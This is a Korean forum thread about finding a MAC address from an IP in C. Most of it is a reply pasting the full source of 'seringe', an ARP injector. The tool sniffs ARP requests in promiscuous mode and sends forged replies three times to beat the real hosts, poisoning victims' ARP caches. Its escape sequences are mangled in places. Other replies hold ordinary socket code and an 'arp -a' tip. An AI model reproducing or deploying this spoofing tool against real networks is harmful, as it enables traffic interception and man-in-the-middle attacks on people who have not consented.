IP로 MAC address 알아내기 ...

서지훈의 이미지

int get_ip_mac(const char *ipaddr, char *arp)
{
    struct hostent *hp;
    struct sockaddr_in *sin;
    struct arpreq ar;
    unsigned char *ptr;
    char *p;
    static char addr[32];
    int s, err;


    LOG_PRINT("## STEP-1 ...\n");

    strncpy(addr, ipaddr, 32);

    /*
     **    setup buffer
     */
    bzero((caddr_t)&ar, sizeof(ar));
    ar.arp_pa.sa_family = AF_INET;
    sin = (struct sockaddr_in *)&ar.arp_pa;
    sin->sin_family = AF_INET;

    /*
     **    convert address to binary
     */
    if ((sin->sin_addr.s_addr = inet_addr(addr)) < 0)
        return -1;

    memcpy (&ar.arp_pa, &sin, sizeof(ar.arp_pa));

    LOG_PRINT("## STEP-2 ...\n");
    /*
     **    get a socket and then collect ARP entry
     */
    if((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
        return -1;

    LOG_PRINT("## STEP-3 ...\n");
    err = ioctl(s, SIOCGARP, (caddr_t)&ar);

    close(s);

    if (err < 0)
        return -1;

    LOG_PRINT("## STEP-4 ...\n");
    /*
     **    we may have an address. Is it complete ?
     */
    if (!(ar.arp_flags & ATF_COM))
        return -1;

    LOG_PRINT("## STEP-5 ...\n");
    /*
     **    convert to hex string
     */
    ptr = (unsigned char *)ar.arp_ha.sa_data;
    sprintf(arp, "%02x%02x%02x%02x%02x%02x",
            ptr[0], ptr[1], ptr[2], ptr[3], ptr[4], ptr[5]);

    /*
     **    try for MAC address match
     */
    //return (strcasecmp(p, arp) == 0);

    return 0;
}

위 소스를 이용해서 구현을 하면 [STEP-3]까지만 진행 된 후...
ioctl()부분에서 EPFNOSUPPORT (Protocol family not supported)이 에러로 빠져나오게 됩니다.

당체 무어가 잘못 된건지 알 수가 없군요.

다른 여러 MAC address를 얻어 오는 부분을 봐도 대략 이정도 인데... 자꾸만 에러가 나는 군요.
여기에 관심 있으신분 보시고 조언 좀 부탁 드립니다.

그럼... 좋은 오후들 되세요.

<어떠한 역경에도 굴하지 않는 '하양 지훈'>

bleu의 이미지

AF_INET 이 아니라...
AF_PACKET 아닌가요...?

#define AF_INET 2 /* Internet IP Protocol */
#define AF_AX25 3 /* Amateur Radio AX.25 */
#define AF_IPX 4 /* Novell IPX */
#define AF_APPLETALK 5 /* AppleTalk DDP */
#define AF_NETROM 6 /* Amateur Radio NET/ROM */
#define AF_BRIDGE 7 /* Multiprotocol bridge */
#define AF_ATMPVC 8 /* ATM PVCs */
#define AF_X25 9 /* Reserved for X.25 project */
#define AF_INET6 10 /* IP version 6 */
#define AF_ROSE 11 /* Amateur Radio X.25 PLP */
#define AF_DECnet 12 /* Reserved for DECnet project */
#define AF_NETBEUI 13 /* Reserved for 802.2LLC project*/
#define AF_SECURITY 14 /* Security callback pseudo AF */
#define AF_KEY 15 /* PF_KEY key management API */
#define AF_NETLINK 16
#define AF_ROUTE AF_NETLINK /* Alias to emulate 4.4BSD */
#define AF_PACKET 17 /* Packet family */
<linux/socket.h>

INET은...ip layer 지원이고..
동일 레이어의 ARP사용하시려면 AF_PACKET을 사용하는걸로
알고 있습니다.

서지훈의 이미지

AF_PACKET 이걸루 해도 안되는군요.
음...
혹시 가지고 계신 소스중에 한방에 되는 것 가지신분 안계신가요?
만약 그 소스로도 안된다면, 내부의 뭔가가 없거나 설정 문제 일지도?

<어떠한 역경에도 굴하지 않는 '하양 지훈'>

#include <com.h> <C2H5OH.h> <woman.h>
do { if (com) hacking(); if (money) drinking(); if (women) loving(); } while (1);

bleu의 이미지

UNP 뒤쪽에 나오는 RAW socket 생성해서 사용하셔야 할거 같아서
찾아 보니 아래 소스가 보이네요.

소켓 생성에

sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); // or ETH_P_ALL? 

위같이 raw socket생성 하시고 arp 부분 구성하셔서 inject하시면 될거 같네요..

ps. 아래 소스 그냥 이렇게 올려도 되는지 모르겠네요..

/*
   seringe v0.2: arp injector and redirector
   Copyright 2003,2004 - Michael Hendrickx (michael@scanit.be)
 
   intercepts arp requests, sends "own" mac address (or -m arg).
   Without libnet, libpcap or any other libraries.. made during
   a security audit when i had no access to these libraries.
   
   todo: accept ip addr arguments with -m and -f
 
*/
 
#include < stdio.h>
#include < stdlib.h>
#include < unistd.h>
#include < string.h>
#include < ctype.h>
#include < unistd.h>
#include < sys/types.h>
#include < sys/socket.h>
#include < linux/sockios.h>
#include < linux/if_ether.h>
#include < linux/if_packet.h>
#include < sys/ioctl.h>
#include < netinet/in.h>
#include < net/if.h>
#include < signal.h>

#define IFACE "eth0"
#define VERSION "0.2"

/* global vars - tsk tsk */

signed int verbosity, // verbose flag
                sockfd; // our socket
unsigned int counter = 0;
FILE *logfd = NULL; // our logfile
extern int errno;

// 'borrowed' from if_arp.h, #include gave errors
struct arphdr
{
    unsigned short arp_hrdad; // hardware addr format
    unsigned short arp_prot; // protocol address format
    unsigned char arp_halen; // hardware addr length
    unsigned char arp_prlen; // protocol address length
    unsigned short arp_opcode; // arp opcode (command)
    
    unsigned char ar_sha[ETH_ALEN];
    unsigned char ar_sip[4];
    unsigned char ar_tha[ETH_ALEN];
    unsigned char ar_tip[4];
};

struct packet
{
    struct ethhdr ethhdr;
    struct arphdr arphdr;
} *ppacket;

//clean shutdown of the program
void cleanup(int sig){
    if(sockfd>0) close(sockfd);
    if(logfd>0) fclose(logfd);
    if(ppacket) free(ppacket); // save the whales, free the malloc()s
    fprintf(stdout, "nseringe terminated with signal %dn", sig);
    fprintf(stdout, "%d arp requests "fullfilled"n", counter);
    exit(sig);
}

void usage(char *p){
    fprintf(stderr, "usage: %s [-vhp] [-l < file>] [-i < iface>] [-f < addr>] [-m < addr>]n", p);
    fprintf(stderr, "where: -l < file> : log activity to < file>n");
    fprintf(stderr, " -i < iface> : which interface to use (default: %s)n", IFACE);
    fprintf(stderr, " -f < addr> : only "poison" this machine (hwaddr)n");
    fprintf(stderr, " -m < addr> : send this hwaddr instead of own mac addrn");
    fprintf(stderr, " -p : don't put interface in promiscious moden");
    fprintf(stderr, " -h : this screenn");
    fprintf(stderr, " -v : verbosityn");
    fprintf(stderr, "nnote: use this tool with responsibilityn");
    exit(1);
}

// gets hwaddr of *iface
void getmymac(unsigned char *iface, unsigned char *hwaddr){
    struct ifreq ifr;
    signed int tmpsock;

    memset(&ifr, 0x0, sizeof(struct ifreq));
    strncpy(ifr.ifr_name, iface, IF_NAMESIZE-1);
    if((tmpsock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
 perror("socket"); exit(1); }
    if(ioctl(tmpsock, SIOCGIFHWADDR, &ifr)< 0){
 close(tmpsock); perror("ioctl()"); exit(1); }
    
    memcpy(hwaddr, (unsigned char *)&ifr.ifr_hwaddr.sa_data, 6);
    close(tmpsock);
}

// gets the interface *iface's index number
unsigned int getifndx(unsigned char *iface){
    struct ifreq ifr;
    signed int tmpsock;

    memset(&ifr, 0x0, sizeof(struct ifreq));
    strncpy(ifr.ifr_name, iface, IF_NAMESIZE-1);
    if((tmpsock = socket(AF_INET,SOCK_STREAM,0))< 0){
        perror("socket"); cleanup(1); }
    if(ioctl(tmpsock, SIOCGIFINDEX, &ifr)< 0){
        close(tmpsock); perror("ioctl"); cleanup(1); }
    
    close(tmpsock);
    return ifr.ifr_ifindex;
}

// sets interface in promiscious mode
unsigned int setprom(unsigned char *iface){
    struct ifreq ifr;
    signed int tmpsock;

    memset(&ifr, 0x0, sizeof(struct ifreq));
    strncpy(ifr.ifr_name, iface, IF_NAMESIZE-1);
    tmpsock = socket(AF_INET,SOCK_STREAM,0);
    if(ioctl(tmpsock, SIOCGIFFLAGS, &ifr)< 0){
        close(tmpsock); perror("ioctl"); cleanup(1); }
    ifr.ifr_flags = (ifr.ifr_flags | IFF_PROMISC);
    if(ioctl(tmpsock, SIOCSIFFLAGS, &ifr)< 0){
        close(tmpsock); return 1; }
        
    close(tmpsock);
    return 0;
}

#define ETH_NULL "x00x00x00x00x00x00"
#define ETH_BCAST "xffxffxffxffxffxff"

// linux/if_arp.h defs
#ifndef ARPHRD_ETHER
#define ARPHRD_ETHER 1
#endif
#ifndef ARPOP_REQUEST
#define ARPOP_REQUEST 1
#endif
#ifndef ARPOP_REPLY
#define ARPOP_REPLY 2
#endif
    
void logtofile(unsigned char *msg){
    if(fprintf(logfd, "%s", msg)< 1)
        fprintf(stderr, " [e] error writing to logfilen");
}

unsigned int handle(struct packet *input, unsigned char filter[ETH_ALEN]){

    // if we are filtering, other packets should be dropped
    if(memcmp(filter, ETH_NULL, 6))
        if(memcmp(input->ethhdr.h_source, filter, ETH_ALEN)) return 0;
    
    // everything that is not a ethernet broadcast should be denied
    if(memcmp(input->ethhdr.h_dest, ETH_BCAST, ETH_ALEN)) return 0;
    // (also for passing?)
    
    // if it is not an normal arp request, drop it
    if(input->ethhdr.h_proto != htons(ETH_P_ARP)) return 0;
    if(input->arphdr.arp_hrdad != htons(ARPHRD_ETHER)) return 0;
    if(input->arphdr.arp_prot != htons(ETH_P_IP)) return 0;
    if(input->arphdr.arp_opcode != htons(ARPOP_REQUEST)) return 0;
    
    // it's an arp request
    counter++;
    
    if(logfd||verbosity){
        unsigned char *logmsg = malloc(256);
        snprintf(logmsg, 255, "%4d : %d.%d.%d.%d : who has %d.%d.%d.%d ?",
                    counter,
                    input->arphdr.ar_sip[0],input->arphdr.ar_sip[1],
                    input->arphdr.ar_sip[2],input->arphdr.ar_sip[3],
                    input->arphdr.ar_tip[0],input->arphdr.ar_tip[1],
                    input->arphdr.ar_tip[2],input->arphdr.ar_tip[3]);
                                        
        if(logfd) logtofile(logmsg); // write to logfile
        if(verbosity > 0) printf(logmsg); // write to screen
        free(logmsg);
    }
        
    return 1;
}

void inject(struct packet *input, unsigned char hwaddr[ETH_ALEN]){
    struct packet *output = malloc(sizeof(struct packet));
    unsigned int i;
    
    // ethernet header
    memcpy(output->ethhdr.h_dest, input->ethhdr.h_source, ETH_ALEN);
    memcpy(output->ethhdr.h_source, hwaddr, ETH_ALEN);
    output->ethhdr.h_proto = htons(ETH_P_ARP);
    
    //arp header
    output->arphdr.arp_hrdad = htons(ARPHRD_ETHER);
    output->arphdr.arp_prot = htons(ETH_P_IP);
    output->arphdr.arp_halen = ETH_ALEN;
    output->arphdr.arp_prlen = 4;
    output->arphdr.arp_opcode = htons(ARPOP_REPLY);
    
    // copy our mac addr as mac addr of "requested ip"
    memcpy(output->arphdr.ar_sha, hwaddr, ETH_ALEN);
    
    // but use "his" ip address.
    memcpy(output->arphdr.ar_sip, input->arphdr.ar_tip, 4);

    // dest = the machine who wanted the info
    memcpy(output->arphdr.ar_tha, input->arphdr.ar_sha, ETH_ALEN);
    memcpy(output->arphdr.ar_tip, input->arphdr.ar_sip, 4);
    
    // sent the packet, three times, to not be overwritten by slower, real hosts

    for(i=0;i< 3;i++){
        if(write(sockfd, output, sizeof(struct packet))< 0){
        perror("write");
        cleanup(1);
        }
        usleep(500);
    }
        
    if(logfd||verbosity){
        unsigned char *logmsg = malloc(256);
        snprintf(logmsg, 255, " -> %02x:%02x:%02x:%02x:%02x:%02xn",
                hwaddr[0],hwaddr[1],hwaddr[2],hwaddr[3],hwaddr[4],hwaddr[5]);
        if(logfd) logtofile(logmsg); // write to logfile
        if(verbosity > 0) printf(logmsg); // write to screen
        free(logmsg);
    }
}

int main(int argc, char *argv[], char *envp[]){
    // variables
    signed int c; // getopt
    unsigned char *logfn = "", // logfile
              *iface = "", // which interface
                        hwaddr[IFHWADDRLEN],// 6char macaddr
                        filaddr[IFHWADDRLEN] = { 0x0 }, // if we should filter, filter on this one
                        flmyhw = 0, // flag for own hardware addr
                        flprom = 1; // flag to set interface in prom mode
    struct sockaddr_ll sll = { 0x0 }; // lowlevel interface stuff

    // start
    fprintf(stdout, "seringe v%s: arp injectorn", VERSION);
    fprintf(stdout, "by michael@scanit.benn");

    if(argc == 1) fprintf(stdout, "note: run -h to see available optionsn");

    while(1){
 c = getopt(argc, argv, "hl:vpm:i:f:");
 if(c==-1) break;
 switch(c){
     case 'h':
  usage(argv[0]);
  break;
     case 'l':
  logfn = optarg;
  logfd = fopen(optarg, "w+");
  if(logfd == NULL){ perror("fopen"); exit(1); }
  break;
     case 'v':
  verbosity++;
  break;
     case 'm':
                flmyhw = 1;
  if(sscanf(optarg,"%x:%x:%x:%x:%x:%x",
                        hwaddr, hwaddr+1, hwaddr+2,
                        hwaddr+3,hwaddr+4, hwaddr+5)!=6){
                    fprintf(stderr, " [e] unable parse hwaddr "%s"nn",optarg);
                    cleanup(1);
                }
  break;
            case 'f':
                if(sscanf(optarg,"%x:%x:%x:%x:%x:%x",
                        filaddr, filaddr+1, filaddr+2,
                        filaddr+3, filaddr+4, filaddr+5)!=6){
                    fprintf(stderr, " [e] unable parse hwaddr "%s"nn",optarg);
                    exit(1);
                }
                break;
                
     case 'i':
  iface = optarg;
  break;
            case 'p':
                flprom = 0;
     default:
  break;
 }
    }

    if(strlen(iface) == 0) iface = IFACE;
    if(!flmyhw) getmymac(iface, hwaddr);
        
    if(verbosity > 0){
 if(strlen(logfn)>0) fprintf(stdout, " [i] logging to %sn", logfn);
 fprintf(stdout, " [i] arp reply will be %02x:%02x:%02x:%02x:%02x:%02xn",
                hwaddr[0], hwaddr[1],hwaddr[2],hwaddr[3],hwaddr[4], hwaddr[5]);
        fprintf(stdout, " [i] looking for arp requests ");
        if(memcmp(ETH_NULL, filaddr, 6))
            fprintf(stdout, "coming from %02x:%02x:%02x:%02x:%02x:%02xn",
                filaddr[0], filaddr[1],filaddr[2],filaddr[3],filaddr[4],filaddr[5]);
        else
            fprintf(stdout, "n");
    }
    
    // set signals
    signal(SIGHUP, SIG_IGN);
    signal(SIGINT, cleanup);
    signal(SIGTERM, cleanup);
    signal(SIGKILL, cleanup);
    signal(SIGQUIT, cleanup);
    
    // open raw socket
    sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); // or ETH_P_ALL?
    if(sockfd < 0){ perror("socket"); exit(1); }
    
    // set in promiscious mode if requested
    if(flprom)
        if(setprom(iface))
            fprintf(stdout, " [e] could not set %s in promiscious moden", iface);
    
    // setup sockaddr_ll, to talk through this iface
    sll.sll_family = AF_PACKET;
    sll.sll_protocol = htons(ETH_P_ALL);
    sll.sll_ifindex = getifndx(iface);
    
    if(bind(sockfd, (struct sockaddr*)&sll, sizeof(sll)) == -1){
        perror("bind");
        cleanup(0);
    }

    // make space
    ppacket = malloc(sizeof(struct packet));
    
    // and.. sniff
    while(1){
        memset(ppacket, 0x0, sizeof(struct packet));
        read(sockfd, ppacket, (sizeof(struct packet)));
        if(handle(ppacket, filaddr) == 1) inject(ppacket, hwaddr);
    }
        
    // khalas :)
    return 0; // to keep -Wall happy, we never come here
}
서지훈의 이미지

이 프로그램을 어떻게 사용해야 해당 IP의 MAC address를 알 수가 있나요?
컴파일은 문제 없이 되는데 기능이 좀 ㅡㅡㅋ

<어떠한 역경에도 굴하지 않는 '하양 지훈'>

#include <com.h> <C2H5OH.h> <woman.h>
do { if (com) hacking(); if (money) drinking(); if (women) loving(); } while (1);

까나리의 이미지

서지훈 wrote:
이 프로그램을 어떻게 사용해야 해당 IP의 MAC address를 알 수가 있나요?
컴파일은 문제 없이 되는데 기능이 좀 ㅡㅡㅋ

<어떠한 역경에도 굴하지 않는 '하양 지훈'>

$ ping 192.168.0.1
$ arp -a

Interface: 192.168.0.54 --- 0x30003
  Internet Address      Physical Address      Type
  192.168.0.1          00-00-0c-07-ac-02     dynamic

전 이런방법을 이용했는데요 ...

댓글 달기

Filtered HTML

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

BBCode

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param>
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

Textile

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • You can use Textile markup to format text.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Markdown

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • Quick Tips:
    • Two or more spaces at a line's end = Line break
    • Double returns = Paragraph
    • *Single asterisks* or _single underscores_ = Emphasis
    • **Double** or __double__ = Strong
    • This is [a link](http://the.link.example.com "The optional title text")
    For complete details on the Markdown syntax, see the Markdown documentation and Markdown Extra documentation for tables, footnotes, and more.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Plain text

  • HTML 태그를 사용할 수 없습니다.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 줄과 단락은 자동으로 분리됩니다.
댓글 첨부 파일
이 댓글에 이미지나 파일을 업로드 합니다.
파일 크기는 8 MB보다 작아야 합니다.
허용할 파일 형식: txt pdf doc xls gif jpg jpeg mp3 png rar zip.
CAPTCHA
이것은 자동으로 스팸을 올리는 것을 막기 위해서 제공됩니다.